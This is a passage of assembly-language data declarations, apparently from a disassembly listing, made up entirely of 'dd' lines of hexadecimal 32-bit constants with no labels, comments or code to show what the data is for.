dd 37792CC4h, 0FD44B821h, 0D98E00EFh, 1610164Dh, 0B971AA61h
dd 0C3BA318Fh, 5534C83Eh, 0DD4F8E11h, 0A6C63205h, 85BAB5FEh
dd 0D6B4A395h, 0DC483904h, 0D16EC25Dh, 0C2EA70C3h, 1C402AB3h
dd 0C3530A36h, 0C09A0D66h, 91713411h, 5C9053B1h, 0F93554D3h
dd 44D18720h, 24D76BD9h, 547ED875h, 6F5A00Dh, 36940CF7h
dd 0D789BD7Dh, 92BC908Ch, 6A27B860h, 0A5B060A2h, 8C1843DFh
dd 0F4C7D812h, 0B38E762Eh, 0D51DDCD5h, 36AA8794h, 20A8E0B1h
dd 0D8339F00h, 0AF197295h, 2FE90BFBh, 0C77A6183h, 2B0FCB3Ch
dd 1B0F2EA7h, 0C3F02515h, 178B7B99h, 0DB78C425h, 79FB2FB6h
dd 2EE7F63Bh, 1520577Dh, 0CC6F9788h, 2A74802Dh, 53665BE9h
dd 74F250D7h, 10B70448h, 400AD4F1h, 0F5CA15C5h, 3E3DA21Eh
dd 0BE1E16CCh, 4C1EFE7Dh, 3103B10Eh, 2A94BE58h, 9BEFFA21h
dd 741AE60Ah, 0F7F39E6Ah, 3F985CE9h, 91FEC7BBh, 0C8CBF967h
dd 61A6892h, 5B744361h, 0BB9EAF6Ch, 0BA7CD77Dh, 72A1ABBFh
dd 0ED8826Dh, 4087E740h, 0E3C3D726h, 21B8BC33h, 3BD5796h
dd 0C6186BDh, 924D55C4h, 0DD22F719h, 7B8F9A29h, 0F076C95Ah
dd 0D23BAC12h, 0F4BB6B08h, 9CADAD7Dh, 0F7DF7774h, 442DC04Ch
dd 0D4C104F9h, 66914B64h, 0C6D0FDFFh, 5728BE2Dh, 0C1F25DF1h
dd 49B84566h, 6C2895DCh, 8C1B3390h, 97B89819h, 0C1358AD0h
dd 0EBC0E3AEh, 0AB51EFF6h, 64D71979h, 0CA9F56D6h, 52F8873Ah
dd 82A7CD48h, 0DA88ECBCh, 0B00E5821h, 600F7CC3h, 0A198FCCDh
dd 2CEEAA22h, 40B39FDAh, 0E0497307h, 1AF425EAh, 0C79AFC58h
dd 340ADD9Eh, 0D4D22AC1h, 0B96C8945h, 0F36463C9h, 2493AC08h
dd 0F8ECEB0Dh, 0FA88029h, 9F499B36h, 4860FCD0h, 0B3D092DDh
dd 507A6F45h, 0D7D5995Fh, 2AE23C0h, 8F4D9A8Eh, 2D332B35h
dd 55AECFD5h, 81646F48h, 8423C4B7h, 0D9D748A0h, 0E2904099h
dd 7F17CAA8h, 0F87B9187h, 0B438BFBAh, 76A6778Ch, 0B642B055h
dd 0BAA85574h, 0FB220C5Bh, 0A8E97E63h, 8A35C5CFh, 8C0BA85Fh
dd 6F1E8CF9h, 0E83A98D9h, 3E0C48F7h, 2FFBAA70h, 9196964Dh
dd 0E91BA08Fh, 0ED95A622h, 7C2B45AFh, 0C2522B0Dh, 769514E1h
dd 4E4985D5h, 248B2317h, 0B2355D50h, 1EA350D2h, 88940B5Eh
dd 4FCA825h, 0B1F51521h, 65E6FFD5h, 7784CD1Ch, 9480E8E4h
dd 0AE7B14Ah, 0EF157CAEh, 85EC5A64h, 58C484FFh, 83F49B92h
dd 1AB1D264h, 44218419h, 37529583h, 0C2B8EAE2h, 0BDCBB8C8h
dd 37F154A2h, 8A288875h, 8287A715h, 30F5FA8Bh, 9A15DFBBh
dd 49B2D5C0h, 0A9B2530Dh, 0CDA8E808h, 5AABDDCEh, 93F2B4C1h
dd 0CA742C9Eh, 17E726B4h, 0F9DDE6A1h, 0D5037E8Fh, 0ECCCF38Ah
dd 647704A6h, 0D857D503h, 524F26E5h, 6BF0B23Ah, 0A04A714Ch
dd 0B3CD08DBh, 0AA3F17ADh, 61CFCBE2h, 500E9802h, 0DF8C2E03h
dd 4D1BCC41h, 8DF1BEEEh, 3943DBA9h, 4A6E21C8h, 821C3E72h
dd 6938BC32h, 0BFB7AF7Ah, 42A6A4D0h, 0B0A2349Bh, 2F2A11ADh
dd 0F465F96h, 3D7E2DC3h, 0E459FB5h, 49EB373Ch, 57AFFBCBh
dd 74B46074h, 0D2A40CB9h, 343B0903h, 39C40799h, 0CE26A4CBh
dd 13E46E2Ch, 0B666C53Dh, 0C2377690h, 0BA0039B5h, 0CA745B75h
dd 5AF568ECh, 40CC2CC5h, 58397833h, 0D7CF5423h, 0E737DFFh
dd 6142ECAFh, 2F4CD3B7h, 7325FB04h, 7860358Ch, 11AC4B5Ch
dd 7AF11E1Dh, 5AD19B98h, 0FD74B239h, 64F6805Fh, 727FD7DAh
dd 0BD2865C8h, 8D9CF642h, 8E335B28h, 6310BE96h, 0E71F6616h
dd 9A76739h, 0E2DF3988h, 0F6BD006Bh, 362CEB5Ah, 6C10557h
dd 899A12C1h, 0ED7E8BD1h, 2F879D27h, 24A5BAA1h, 0F71D96h
dd 6ED038A8h, 0B159C3F5h, 12BB1B85h, 0DE837B84h, 0B381EF59h
dd 0FCDCE6F9h, 0F38214B9h, 0B0FA03FDh, 1EB04862h, 1B13CF70h
dd 482CD833h, 838A368h
dd 6F1270Dh, 81B17A66h, 44EFF0D9h, 1C31DB3Eh, 3B77A77Eh
dd 0A4366E85h, 972DE7A5h, 0B5BC1195h, 48723B72h, 1FEFF6Dh
dd 0BA95F5D1h, 8CC46450h, 92960CBBh, 0CFF14824h, 8D0716F7h
dd 0D33B7CFFh, 1A530FB3h, 0E05DD95Dh, 0DB46A325h, 9F7D0906h
dd 0FF2B6338h, 45E68832h, 11729CCEh, 0AD2E660Ah, 0ED5E601Ah
dd 0BCD0681h, 0EB762EC0h, 9B734CC5h, 0DAFD4FBFh, 3458821Fh
dd 58A8A83Bh, 93692117h, 0C81709CDh, 7227F933h, 0D36B67BCh
dd 0DA33D510h, 0C92B09DAh, 0B3DC967h, 0ED3899AFh, 271F7D9Ch
dd 54E7F248h, 1D05998Fh, 3BFA1106h, 2EE2CB83h, 75FBE51Eh
dd 0C7C5EFECh, 0C9A49763h, 0A6D5CBE8h, 437537BEh, 0DB16DDEEh
dd 0B5C92679h, 1EBBDC30h, 52D2F9E3h, 2EE4024Eh, 87A226DBh
dd 40693E80h, 0B02807EBh, 9A0286C7h, 0BEDE1091h, 0A3882836h
dd 5125DE6Ah, 8274E4AFh, 93846CC8h, 0A0258C4h, 4AA7D7D0h
dd 6729FBCDh, 2A55B0A3h, 3D3E7156h, 0D1E60DC8h, 614EF184h
dd 0DE57460Fh, 0CDE1A35Eh, 1CDF6B7Bh, 0C224061Dh, 21344D2Fh
dd 21AC5A44h, 73D14ABEh, 52A7F831h, 5E45ACB0h, 0FB32B2D9h
dd 0CCD716C0h, 4E27C505h, 0CE6091C2h, 4E3A8839h, 0A93E4A4Ah
dd 32D24FA1h, 1C4C34EEh, 95C5D0D1h, 3923D3E2h, 8CE9F005h
dd 0BDFE100Bh, 12ACC5D4h, 8F5BD960h, 6C6A0E9Ch, 76632788h
dd 87086D6Bh, 0EEE5FAD2h, 0C2CBDC00h, 3A37DB9h, 8DD02FE7h
dd 64C35745h, 4FB424ECh, 35344C03h, 0B4508C0Ch, 272F33C2h
dd 5C09FFC6h, 289B49B0h, 5E53980Fh, 0BD9893AEh, 18AAFA06h
dd 0DC7E56BAh, 2BE28254h, 762A92Bh, 0ACF2023Fh, 0C303A798h
dd 1386FE99h, 827B4D84h, 0BED6F14h, 0D6DD9792h, 0AB447FCBh
dd 83256D7Eh, 0BD6B27AFh, 0E1AF4075h, 7C01984Bh, 5691D6B2h
dd 51CA9C69h, 8E29FDAFh, 41A588Eh, 3B2492FCh, 0F3FB6B6Eh
dd 0CE313701h, 48525BF2h, 84846485h, 0B9CDA793h, 699DF58Fh
dd 386707C3h, 54BFF68Bh, 3FA24DEFh, 0A0F7DD59h, 0F58ECDA6h
dd 0C61C5819h, 2F62B2F3h, 0C061BB13h, 62E513FDh, 4D437041h
dd 0A5950472h, 5D4E31CCh, 3E7F9EE4h, 0F2839FD7h, 4846BEAFh
dd 78A733E2h, 0A11E758Ch, 0B79F2AB1h, 633460D0h, 0F91FFA19h
dd 0CE51625Bh, 0C0E4B5DDh, 61A231B0h, 192DAAEEh, 69413137h
dd 0C38494DCh, 796FAD3Bh, 0DB8F7786h, 1274DB4Fh, 5D7D3B9Bh
dd 8C90E7A8h, 840AEBC9h, 6ED031E0h, 0CD5F1107h, 7A5CF8C7h
dd 0BDE45DA1h, 0D02D45B7h, 0CF1A45F2h, 6EA6C8CFh, 28D6F7DDh
dd 0BEB9352Dh, 5030BA89h, 39F761C8h, 3E02ADB6h, 0E7BC57BEh
dd 0CB636417h, 7AC0EAAEh, 0A93D4CAFh, 0C3BB1B7h, 0E8DE6312h
dd 7F024CFEh, 670886EDh, 8B10632Ah, 8BABBC12h, 0CBDB6880h
dd 3E7AC96Ch, 1760C1D8h, 1CBB5A21h, 0DBC25A0Ah, 0FF7553EFh
dd 0A90CA2B3h, 0B3DC9C36h, 0F61590F6h, 525A1A30h, 7BA883CBh
dd 3333F4ECh, 85122DCEh, 4B12A74Ah, 0F286BEB8h, 9FBE17A8h
dd 1BF94C81h, 0C66D492Fh, 0B166D615h, 12BDB2DEh, 247D0160h
dd 91B17025h, 9867B7DAh, 0F81AA4E8h, 228345CAh, 62F64FD5h
dd 0F065691Bh, 3FF1F97Ah, 0CEB904B4h, 3D99F794h, 0EE8538C8h
dd 0C6865A92h, 720F7950h, 0C2657308h, 0A1B44829h, 0EECF4356h
dd 56D241AEh, 91356360h, 2392B5CEh, 0CE9A50EDh, 53912C00h
dd 19875A65h, 886FC794h, 81E2F6F1h, 28F4F4Ah, 207D2498h
dd 889D6F4Ch, 0A2B760F2h, 93B0B621h, 0AAF8A111h, 0AD9BA20Ch
dd 305EF51Ah, 7CCB2B1Fh, 9440F0F9h, 21CCD0C3h, 234B5D57h
dd 33AE81E6h, 0DC45CF8Ah, 22E69B01h, 198696A5h, 0B49B7013h
dd 1A917549h, 0F70B6B18h, 0EEAD877Ah, 8FFE9F8Fh, 0D11C0CF4h
dd 46D6E4D6h, 0BC6649A5h, 1176E576h, 7D75842Bh, 982A1C3Dh
dd 0FA9D2490h, 9D355814h, 6EBA171Eh, 6B3C311Dh, 0E2937B4Ah
dd 874A8AABh, 8A989FD5h, 8D1185A6h, 3FB2567h, 59F9BAA1h
dd 7906999h, 602A59B9h, 0C9B35D59h, 0D6FCD894h, 6CC081E7h
dd 697A5D55h, 0D5A7F549h, 3568FFAh, 0E72241E3h, 0BB5A9953h
dd 3EE2D860h, 0ADE60D60h, 77D35D5Dh, 49E90EAAh, 84A6353Fh
dd 1AD440C3h, 8EEC03F5h, 641BF525h, 9D98F58Bh, 660C5910h
dd 6E1C6364h, 2610623Ah, 0B3732CBCh, 73F1E9A3h, 4AF4C9A2h
dd 115C3320h, 453326EBh, 0F328FD7Eh, 0E29D60CAh, 394512AAh
dd 0A8BAAA74h, 959F0649h, 0CCDA48AFh, 26C966BCh, 0EEC6CD30h
dd 0ECD99930h, 81A5EE6h, 999E95A9h, 0F137AF7Eh, 7937B6B1h
dd 0C8CCBC6Bh, 52D5A31h, 64B83DE9h, 0B2C3C930h, 0EDC22201h
dd 24E1A06Ch, 0EEC226E2h, 0EFB0CD44h, 0D0E26277h, 891278FBh
dd 6E1EF7B1h, 0A24845E2h, 2AB78947h, 0AAD9EA0Eh, 82B470D9h
dd 741EBC66h, 0D2F56651h, 0EA0CFD5Ah, 71D2360Ah, 0A288EAEh
dd 8247C19Eh, 3E497D6Ah, 4BB0C2A3h, 1B8DE7D9h, 56388CA8h
dd 0AE8D22C0h, 0C0FF4395h, 784D583Ch, 7F9A9B45h, 383F5656h
dd 0F8008B2Fh, 9A9A5388h, 39D47C67h, 5220630h, 18C04C2Bh
dd 27CA4951h, 0C2FD3498h, 118EF6A1h, 6926C8CAh, 9135637h
dd 0BC9199CBh, 49472B85h, 58EB9BF6h, 424F9199h, 0E3CB08C9h
dd 6DAF7150h, 74DAB845h, 0AD90411Eh, 0D5BC9643h, 9A7A62AFh
dd 4B06820Fh, 0FCC53219h, 0E5051DE0h, 6CC7F551h, 0E5C8615Ch
dd 7185B627h, 0BDE9B1EDh, 89E0841Bh, 4FA529F3h, 73D65E67h
dd 0E5487FCFh, 5C60F7C4h, 0E3F96931h, 0D1092A6Fh, 64838977h
dd 0FBC09D16h, 9F9EE6DFh, 13333895h, 58865204h, 0AEE832A3h
dd 0BB02427Fh, 76A8A263h, 0EBC29995h, 0D9D4A591h, 0B5A5BF34h
dd 0B79945B5h, 0B5D9E869h, 238FF75h, 31E8CC65h, 23197C65h
dd 0F449AAEAh, 828B2E3Eh, 23DA8FADh, 0FE5AB60Bh, 0B3AEE162h
dd 8D27701Ah, 3CF194A9h, 106D26FAh, 1B34A867h, 0EC62B671h
dd 0ACC5F661h, 4DF157CDh, 6D58942Bh, 59E46EE1h, 0CABEE604h
dd 0B516E2DBh, 59EB9B20h, 0F1D6691Fh, 7F62BE7Dh, 179F493Dh
dd 0F090D294h, 58CF0D42h, 839E0C45h, 1EEED1A0h, 388AD744h
dd 9E615817h, 567C5B61h, 59D86583h, 0F2200DA9h, 34E53086h
dd 7E2755Bh, 9546A65h, 0C2A6FCD3h, 9525C281h, 0FC5F39F3h
dd 0FB9C827Ch, 855F0427h, 191B1E0Fh, 0F3E13EB7h, 2CB741DFh
dd 38604B4Ah, 1009C38Dh, 0BFC1EC7Bh, 639A08F0h, 3C0DC742h
dd 7E0A5408h, 406E393Fh, 0DC963196h, 0A7B6D4F8h, 0BE4AE44Ch
dd 7D5A0558h, 74B8A68Fh, 66ED69C4h, 70454E47h, 272CE704h
dd 7A41CD13h, 0AEA51C08h, 62DF6D73h, 0DD800122h, 1871C329h
dd 993566D8h, 0DFD39A79h, 6DBB04EFh, 0FB5A2842h, 6B349173h
dd 23E5167Bh, 2CE998Ch, 917213h, 5158AFBFh, 0E1538403h
dd 0C32004B8h, 0BDB66FC5h, 3FFD91Fh, 0D337597Ah, 16CD81B3h
dd 0A7E4823Eh, 8B07AC6h, 993AE9C0h, 0ABFE7B03h, 9F561FB8h
dd 32066490h, 0C200EDACh, 0FE32426Ah, 8EE74D3Ch, 0B8DFA74Ah
dd 0B31B9641h, 69E115F4h, 0A9DC4424h, 9F7C7DCAh, 8591F101h
dd 4D1407C6h, 65EB19ECh, 1FC001B4h, 0D88B9C3Bh, 0BF4C27FBh
dd 29D08A01h, 8B01EE7Eh, 220EBD7Ah, 37D0AD76h, 0F16AEC67h
dd 9971467Dh, 0D03C823Eh, 0F80FE81h, 8A89F0F7h, 3916593Dh
dd 0FD06BB26h, 87A606D4h, 0F7E31FEh, 33963A31h, 0BA2D449Fh
dd 4AB4769Ah, 2B1A0F99h, 9A90E52Eh, 2DC4D2FDh, 0DCFB2D68h
dd 1DFDDE01h, 0B8E0B3FAh, 9AE05804h, 0BE05471Fh, 0F003DB59h
dd 83015D52h, 7549E479h
dd 363F9B0Fh, 1DF4CDA8h, 0E421CB98h, 0AEFA2174h, 0BDDB71CDh
dd 792B8384h, 8C196941h, 548E336Bh, 36630987h, 5C391F91h
dd 3C6ACC97h, 0C24C19Ch, 0A627D3Dh, 0C6AA8E88h, 5A172E2Dh
dd 4357B4A0h, 91FEC83Eh, 344C2D84h, 0E91BF800h, 0C823695Ch
dd 7CF48E44h, 0D011E449h, 6526532Ch, 0A431D393h, 2216DDC9h
dd 4B011413h, 3782C5D3h, 9889E2A6h, 8E91911Dh, 0AD9EE0D0h
dd 0A7D9F754h, 9E974AAFh, 0BB31355Ah, 9F95094h, 4D2BC42Dh
dd 0AA6F593Eh, 0BF8E5631h, 195A8681h, 0D56159DEh, 0FEA32F4Ch
dd 0AC8C17F8h, 0C9EC6B87h, 6D3DFA76h, 31FEBF2Ch, 31811CCAh
dd 7AA4D433h, 0BFEF37AEh, 517BA93Dh, 0E5CA756Ch, 13CDE546h
dd 6D8A8F82h, 0C1D2E7E5h, 8E3C7A4Ch, 65AFBD0Eh, 9CDA5999h
dd 4404A191h, 3020DB3Fh, 0B3BE5368h, 0ED846E65h, 0A528091h
dd 8489248Fh, 3F9C1C69h, 7FE24873h, 0C143E1BBh, 0B86CBAF4h
dd 0A2C58567h, 12B1C084h, 366B3F6Ch, 0F13E6C84h, 611202DCh
dd 852C3B6h, 3882B63Fh, 0D9647C1Dh, 5457E50h, 14DD0313h
dd 2CB60164h, 0C5539952h, 0E0179E27h, 620E67F7h, 0C1C06E6Bh
dd 0F332B733h, 5A11FDFDh, 0E812A216h, 215EDB7Fh, 0A9CDBC9Bh
dd 0C4D6E2FCh, 74746079h, 6CA6C389h, 9D6FEA52h, 2E5A47C6h
dd 0C573738h, 2266F5F3h, 76AD0322h, 448EA03Ah, 249626E2h
dd 790F727Fh, 3723A9CCh, 294F1094h, 0CC62FC07h, 6FC242Fh
dd 0D439D90Ah, 0B538A4D9h, 99E79153h, 65343E5h, 5E42D286h
dd 2FE32FCEh, 0B0B9223Bh, 0B678B790h, 31412E6Ch, 83E75145h
dd 0BD62BBBBh, 516FD913h, 46001E5Ch, 0F7DB5408h, 4CB9428Ch
dd 4D447A2Ah, 0B542133Dh, 1070EB67h, 0BC30C62h, 33689468h
dd 0DF6100E1h, 56D16ED6h, 0DB88CD58h, 31CC3DA1h, 2238BCEDh
dd 0F273DC46h, 0BFC064CBh, 35C3DA4Ch, 2434A4B8h, 0ED25EAB2h
dd 25288170h, 9D721449h, 4EDD7779h, 0A3CAEE3h, 171A1F13h
dd 0FAF1B532h, 44EEC411h, 0DC8BEF99h, 7EB25FDh, 0FDBA778Bh
dd 4D4A3D87h, 136DF0A6h, 0D1A6190Dh, 8672511Bh, 0C29D14B9h
dd 2C7F7D07h, 19F6F84Eh, 0A7110DF9h, 28ABD8AAh, 56319A90h
dd 132E190h, 1C7EB0C1h, 260F6E53h, 4A494B3Eh, 0AB016E47h
dd 273D38A9h, 8E62FC27h, 2ADA1156h, 74869B8Eh, 0D3520054h
dd 5F4935BCh, 0B77D64ABh, 0E14CAFE9h, 4DFA158h, 0D4564308h
dd 8C12DA4Ah, 0E0603D24h, 44E9A29Bh, 67167564h, 0F768DF40h
dd 98A31AE8h, 5DE64583h, 90826A4Dh, 20336DB6h, 2F3DDD88h
dd 0C1DC0F41h, 0DC37999Bh, 8795CD89h, 265314ACh, 5F48254Ch
dd 91AB9A7Ch, 3729C0F9h, 1C3116EFh, 0FC3EA850h, 2ADA0699h
dd 0C9698FE7h, 0A3E73DF2h, 0A46656EFh, 0B9BF107h, 96401363h
dd 2B6C163Fh, 737048C8h, 0FBD44EFh, 3040870Bh, 5880A054h
dd 86F95ABCh, 52415AD5h, 0CB9DE44h, 3DE7F2C1h, 0AB2C4D51h
dd 0DAC98807h, 8E854686h, 0B78B4C3Bh, 6FB1E87h, 0ACCE6C14h
dd 8D159805h, 8CB432EDh, 76E1ACFDh, 1BA3D777h, 192AB9F2h
dd 3C1824D9h, 6D43CB8Dh, 66290C0Ah, 63D3A6D2h, 4BA909E5h
dd 1D2BC3F7h, 8E513EE8h, 94E5C2E7h, 9EF8654h, 6389838Eh
dd 5FD42F04h, 6FA95A95h, 4B94E87Dh, 0D4497479h, 0AC1BD276h
dd 3F837B2Ch, 0C6902C19h, 24F29A2Dh, 0A5120225h, 5D4C4EC0h
dd 70AF5A2Fh, 0A34B98B1h, 9A581A1Bh, 1D060ECh, 8FA1C44Ah
dd 2593C0F5h, 66F1CC44h, 28DBAD97h, 5AF8448Ch, 0BDC98D1Fh
dd 387219B2h, 4B69306Dh, 0B3B2E76Dh, 5B09F9DCh, 0D7E1BFBAh
dd 0E525A08Fh, 0DAE8C6B9h, 4B035B4Ah, 87CAE9E4h, 58618E8Ah
dd 187696D5h, 322680AEh, 656DF5FBh, 4D682234h, 0DA3AB243h
dd 20A1EA91h, 1984957Eh, 4238CE1Eh, 7DE10B8Ch, 0B7D354DFh
dd 6D2FC6B7h, 0B66B0CF3h, 98CF8BFh, 43911E86h, 1B16BA79h
dd 0DF68AC42h, 7CDC1671h, 1F443584h, 7E40C6A9h, 0A6DABAF7h
dd 0EF283B87h, 0E11B484Ch, 7F92C185h, 31297146h, 175F19B9h
dd 8C239408h, 0EB9200E3h, 5FAFD859h, 0EE3C9A6Eh, 3EB9B5B0h
dd 0B579D2D3h, 91DD83D6h, 0DA426350h, 6596A3B0h, 26212AD5h
dd 72A8AA29h, 0DA1DEDDFh, 38F5061Ch, 3701E7F5h, 512191FDh
dd 8116189Fh, 931F19E8h, 350F101Eh, 0C40F4802h, 53CEA2B5h
dd 0EC2518F7h, 4D968A3Fh, 991F93ACh, 3EE6FAE5h, 0EBEB3C90h
dd 2EBFA55Dh, 81238523h, 0B01F9314h, 981DCD70h, 0C80BFFDDh
dd 24FB4162h, 6C6DABF9h, 0E53D88EAh, 0D045B463h, 0DC3D37A4h
dd 57539FAh, 0C86B94h, 0C7E24348h, 0F133EC6Bh, 0AB869C47h
dd 0E5D835ABh, 330E73CCh, 0B20990F9h, 13371B05h, 51325024h
dd 3C18AFB6h, 0F0BA9BAEh, 5D81DBE3h, 2D1D3BDEh, 315C89A7h
dd 0FAC46FA8h, 78C7737Eh, 4DCC8150h, 0A1086C44h, 792030CDh
dd 52AE852Ch, 24AC5377h, 3F45A255h, 1E5D2C31h, 0DE6C7B89h
dd 0E49AB305h, 6EBF3923h, 799A672Ch, 915A1358h, 63A381E0h
dd 0AAF8FD62h, 0AD4CD756h, 24890633h, 0C9D3854Fh, 915013Ah
dd 0C523C6C2h, 0FC3FBB83h, 0FE5A5CB5h, 0D522050Eh, 10CA19F8h
dd 0F794B8D6h, 0F6A00F16h, 0EC4BF0C0h, 4E6F92EDh, 0AAB48951h
dd 85ABB96Dh, 36EB90A2h, 0ABF2FB9Ah, 8A2CD395h, 4FE7C5DDh
dd 639D6793h, 1253BA37h, 32E27BC6h, 9A3C01F1h, 7FBAE87Ch
dd 0CDFBDBFBh, 969BB563h, 6F80939Bh, 0FD3C3A3Ah, 8B389A0h
dd 4637F13Ch, 3A3EDF0Ch, 0AD72A074h, 0A5700E62h, 78093E9Bh
dd 0E4B933FBh, 0CD35E89Eh, 4AABF67Ah, 9B053E63h, 6D28DA84h
dd 40C3548Ah, 2979FEC4h, 48CEA591h, 0E152818Eh, 44F1EE8Bh
dd 4CDEA439h, 0CD3C3AC7h, 802C22DBh, 3FBAA26Fh, 7C23BC7h
dd 76F63800h, 0EDEAB235h, 0C5BA2393h, 0D926411Fh, 14926D88h
dd 0B2618C59h, 919652C2h, 0E6CA370Dh, 0C3BBD1DAh, 0D29AE3CBh
dd 45446BD0h, 6636C4Eh, 0C1E9B3C2h, 0DDE6E598h, 2F61B063h
dd 0CC14CD4Dh, 973CBE07h, 64C1363Ah, 0BF29F32Ah, 48FE865Ch
dd 90C97632h, 62A55E60h, 4F77BAF0h, 0B60DBC5Dh, 62C9DA10h
dd 0A779E99Dh, 8628A3DFh, 57D23CEFh, 45AAF4EAh, 0E7660C37h
dd 58053A61h, 0BF0D2FBAh, 49817DAEh, 6791BDBFh, 0D349C4F8h
dd 479D61A2h, 4849E273h, 4437493Ch, 42A2626Eh, 0F80DF5AFh
dd 7048BE6Dh, 0AD922B72h, 43C9FBDCh, 0A4ABA843h, 55F80CA1h
dd 92CB3120h, 0A094B1AFh, 0BBA0D871h, 2422262Bh, 0CB00EFFCh
dd 0C8063110h, 3F8EC2D7h, 0C17CC19Dh, 0A9E8681Eh, 0B619000Bh
dd 68BDB67Eh, 0B1F06FBDh, 0F8E9743Bh, 0BF5B27FEh, 5E9E2225h
dd 20C9B250h, 0FE2D2B04h, 0BA7BDB70h, 1AECF294h, 26F6EA6Eh
dd 70E364DEh, 0C23F6D75h, 48974C5h, 0CFBFA24Dh, 5325F8C4h
dd 0B4421BFCh, 6CBC6Ch, 0CA9A6F3Ah, 41A4C63Fh, 4B2D44Fh
dd 33D4E7BBh, 2372303h, 0D468D021h, 83FC9910h, 0A92B9FBAh
dd 8516B07Ah, 0D3B84134h, 8C660C3h, 0AA0DA66Ch, 225D94EFh
dd 9581B65Eh, 8AB48006h, 55E92AA6h, 77516590h, 3F59B1A6h
dd 0D42EAD40h, 0A9289A24h, 0E2765456h, 3044E3E1h, 63DAF3A4h
dd 0E01CB82Ah, 0C93A49E0h, 0A3D20509h, 2346434h, 0D07CA3C2h
dd 56605AFBh, 36C2FF80h, 4921F810h, 0D12AECBEh, 0F5719D1h
dd 0AD46FB5Dh, 8C980B57h, 77BAD68Eh, 0D5686AA4h, 0FADDDF99h
dd 666583A2h, 4F0211B8h, 8A0E7E2h, 61F3D6D0h, 1FC0E779h
dd 0E0B5D97Ch, 0B89E7B20h, 6D012488h, 9C562879h, 6C65F69Ah
dd 5C5FD934h, 26BB1451h
dd 8999BB3Bh, 0AA649D72h, 700A3382h, 8D45FE54h, 8A0D62Ch
dd 80BEB8CFh, 182A3319h, 0ACE4D5B6h, 0D67094B2h, 0E7382B17h
dd 901F651Eh, 765C5AAFh, 57CE8F36h, 0E5624104h, 0E1254FCCh
dd 25A50F9Eh, 27D9A674h, 0F2C6625Fh, 0C35B0377h, 0D40C7612h
dd 0EF98CA66h, 0DB9F87FAh, 17E49579h, 222EFF5Ah, 0B2DFAE9h
dd 0F6FA63A7h, 291BB9B2h, 0FE88C4CDh, 7C143711h, 87CC87BDh
dd 791F359h, 6CD9C5F4h, 8BC88117h, 0D37F8149h, 8EB93B8Fh
dd 0C811F636h, 168E69E7h, 3095D854h, 0BFAB1962h, 180DAE5Eh
dd 0F646BBB1h, 8A86EAE6h, 3DA2CD9Ch, 4F69942Ah, 2117F9D6h
dd 0FDEE3EE3h, 7EE8D5A6h, 1AFB7568h, 0B622A754h, 0A3D5F51Ch
dd 0D9A35253h, 63E15845h, 5DE85C9Dh, 0A3FDB7DBh, 314D236Fh
dd 4DF5D92Ah, 3EAA5143h, 33AA0C31h, 61697651h, 815FA8A8h
dd 0E8FD5E10h, 2EFCDA66h, 6C12A05Ah, 7292E64Eh, 33FC1437h
dd 0FAA2B84Eh, 0CA4688BCh, 1497EF01h, 6DC0B2E0h, 0A2C5A11Dh
dd 7D5804h, 26F0994h, 0C65B3E41h, 0CED7CF05h, 13E7EE14h
dd 0A7CEB1CEh, 187E22Bh, 6E3F2EDEh, 0E070B384h, 0BCB14D7h
dd 0CA400A32h, 0A038A3F1h, 0B5406E95h, 962B512Dh, 0B073A878h
dd 0F8117870h, 95BC488Ch, 0DB5A96Bh, 29E8F283h, 6D421C7Ch
dd 2D6D791h, 53D61DD0h, 330AC40Ah, 920DE01h, 0E6D77Ch
dd 4E500578h, 6A7617h, 0E30A9702h, 0F44F7678h, 0BD26F564h
dd 0CAA1E9BBh, 1B75C04Fh, 7C6AC5D3h, 4FC7DD5Fh, 0AB580E37h
dd 2F289321h, 5C84551Bh, 520AA579h, 0E268BD08h, 4E7D707Ah
dd 7EE31DEFh, 0A150AADEh, 6861623Ah, 0E63797E4h, 0B52055F2h
dd 5912086h, 0E19F264Bh, 1681AA15h, 69731A46h, 4042CADBh
dd 7443CD62h, 0DEC017E5h, 9555DADCh, 9304A33Dh, 719E3E4Bh
dd 2C325445h, 806D4A78h, 69C8D8BAh, 5B6F3082h, 48F8A3C3h
dd 29D8EE4Eh, 1CF9B0D5h, 6BB6A936h, 57998A32h, 9B4483D8h
dd 0FDF383A8h, 63759724h, 0C50902BDh, 1602992Eh, 20315309h
dd 2B985049h, 34CCC00Ch, 3030A81Fh, 0F61168CFh, 0E769134Dh
dd 9685F2CFh, 6B675BEDh, 0C26EDF9h, 9FA1965Ch, 0D5AD2995h
dd 0E1F3914h, 0DB8D5DD2h, 8D409EEBh, 2FB7886Bh, 5A0F031h
dd 0E01E0430h, 0D72B5F64h, 92437C38h, 0D2BB8FF9h, 59050017h
dd 0A1E23790h, 82E2CAFFh, 9E396644h, 6BB09992h, 0C57E6C11h
dd 5FDF53F4h, 0E13BFFF2h, 0F65B0300h, 1797733Eh, 0FFEABBE3h
dd 8CDEFD17h, 996AA362h, 0DDB81041h, 97C6A057h, 0FFDA0E3Ah
dd 43265A01h, 553D3A9h, 0A4BC777Ch, 11E157Eh, 0FD91A6C6h
dd 14337EF3h, 0F2CA7F4Dh, 61ED00D5h, 90D5A55Bh, 4866FD56h
dd 0DAEABBF2h, 0FAABEACEh, 0C9A9F1BDh, 1A85D4D0h, 53368A3Bh
dd 0DD441984h, 77C4CEC9h, 0FB37AA26h, 591AB95h, 9FB737BEh
dd 967026B0h, 1B79B159h, 0F6AA59E3h, 0D1DDF984h, 0F12058ABh
dd 0F956FCE7h, 97796784h, 0E5C626D5h, 0F90A151Ah, 0DD2DD975h
dd 6629DF97h, 0BFD2CBEAh, 519B9D6Fh, 96F003ACh, 2660D29h
dd 4A1A6FEh, 0FCFA0922h, 0E88A691Ah, 8668CC2h, 62ACE1FEh
dd 945AD98Fh, 1B1A6EDh, 5A8338CDh, 0AE678C6Ch, 0CD6BF8FBh
dd 5BB9515Ch, 496E6F6Bh, 6A50F2BBh, 0FE072B0Fh, 44053F5Ah
dd 0A54ED3B2h, 0DCCBBBBCh, 5DE242E2h, 16D128E5h, 0A3D64CCEh
dd 0D415A45Fh, 40507CA9h, 1A3C8B8Dh, 0D2DA8BEDh, 652F42E4h
dd 0C64B32DAh, 42224329h, 945BF1D2h, 3FB9E5Eh, 0DF299D0Ch
dd 1C41ECA8h, 30F87539h, 0A431070Fh, 0C51F1ABCh, 8D15456h
dd 784B69FDh, 9995BA2Eh, 73416DC5h, 0B47A20DDh, 5DEB1B9Bh
dd 3FF7FA41h, 5EB2B00Eh, 6A50D888h, 0C6A7EEDCh, 5DD835EFh
dd 2D50A77Ah, 567BB4E6h, 0A937D684h, 0D571574Ah, 0D079B447h
